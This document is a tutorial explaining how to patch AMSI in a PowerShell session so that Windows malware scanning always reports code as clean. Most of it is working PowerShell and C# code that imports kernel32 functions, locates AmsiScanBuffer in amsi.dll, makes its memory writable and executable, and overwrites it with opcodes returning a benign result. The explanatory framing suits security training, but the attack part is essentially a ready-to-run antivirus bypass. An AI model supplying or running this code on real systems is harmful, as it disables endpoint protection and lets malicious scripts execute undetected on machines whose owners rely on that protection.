Patching AMSI
AMSI is primarily instrumented and loaded from amsi.dll
. This dll
can be abused and forced to point to a specific
response code. The AmsiScanBuffer
function provides the hooks and functionality necessary to access the
pointer/buffer for the response code.
AmsiScanBuffer
is vulnerable because amsi.dll
is loaded into the PowerShell
process at startup. It will
scan a “buffer” of suspected code and report it to amsi.dll
to determine the response. This function can be
controlled to overwrite the buffer with a clean return code.
At a high-level AMSI patching can be broken up into four steps:
Obtain handle of
amsi.dll
Get process address of
AmsiScanBuffer
Modify memory protections of
AmsiScanBuffer
Write opcodes to
AmsiScanBuffer
Code
Load GetProcAddress, GetModuleHandle, and VirtualProtect from kernel32 using p/invoke:
[DllImport(`"kernel32`")] // Import DLL where API call is stored
public static extern IntPtr GetProcAddress( // API Call to import
IntPtr hModule, // Handle to DLL module
string procName // function or variable to obtain
);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(
string lpModuleName // Module to obtain handle
);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(
IntPtr lpAddress, // Address of region to modify
UIntPtr dwSize, // Size of region
uint flNewProtect, // Memory protection options
out uint lpflOldProtect // Pointer to store previous protection options
);
Load the API calls using Add-Type
. This cmdlet will load the functions with a proper type and namespace that will
allow the functions to be called.
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
Identify the process handle of AMSI using GetModuleHandle
. The handle will then be used to identify the process
address of AmsiScanBuffer
using GetProcAddress
:
$handle = [Win32.Kernel32]::GetModuleHandle(
'amsi.dll' // Obtains handle to amsi.dll
);
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress(
$handle, // Handle of amsi.dll
'AmsiScanBuffer' // API call to obtain
);
Modify the memory protection of the AmsiScanBuffer
process region. Specify parameters and the buffer address for
VirtualProtect
:
[UInt32]$Size = 0x5; // Size of region
[UInt32]$ProtectFlag = 0x40; // PAGE_EXECUTE_READWRITE
[UInt32]$OldProtectFlag = 0; // Arbitrary value to store options
[Win32.Kernel32]::VirtualProtect(
$BufferAddress, // Point to AmsiScanBuffer
$Size, // Size of region
$ProtectFlag, // Enables R or RW access to region
[Ref]$OldProtectFlag // Pointer to store old options
);
Specify what to overwrite the buffer with:
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy(
$buf, // Opcodes/array to write
0, // Where to start copying in source array
$BufferAddress, // Where to write (AsmiScanBuffer)
6 // Number of elements/opcodes to write
);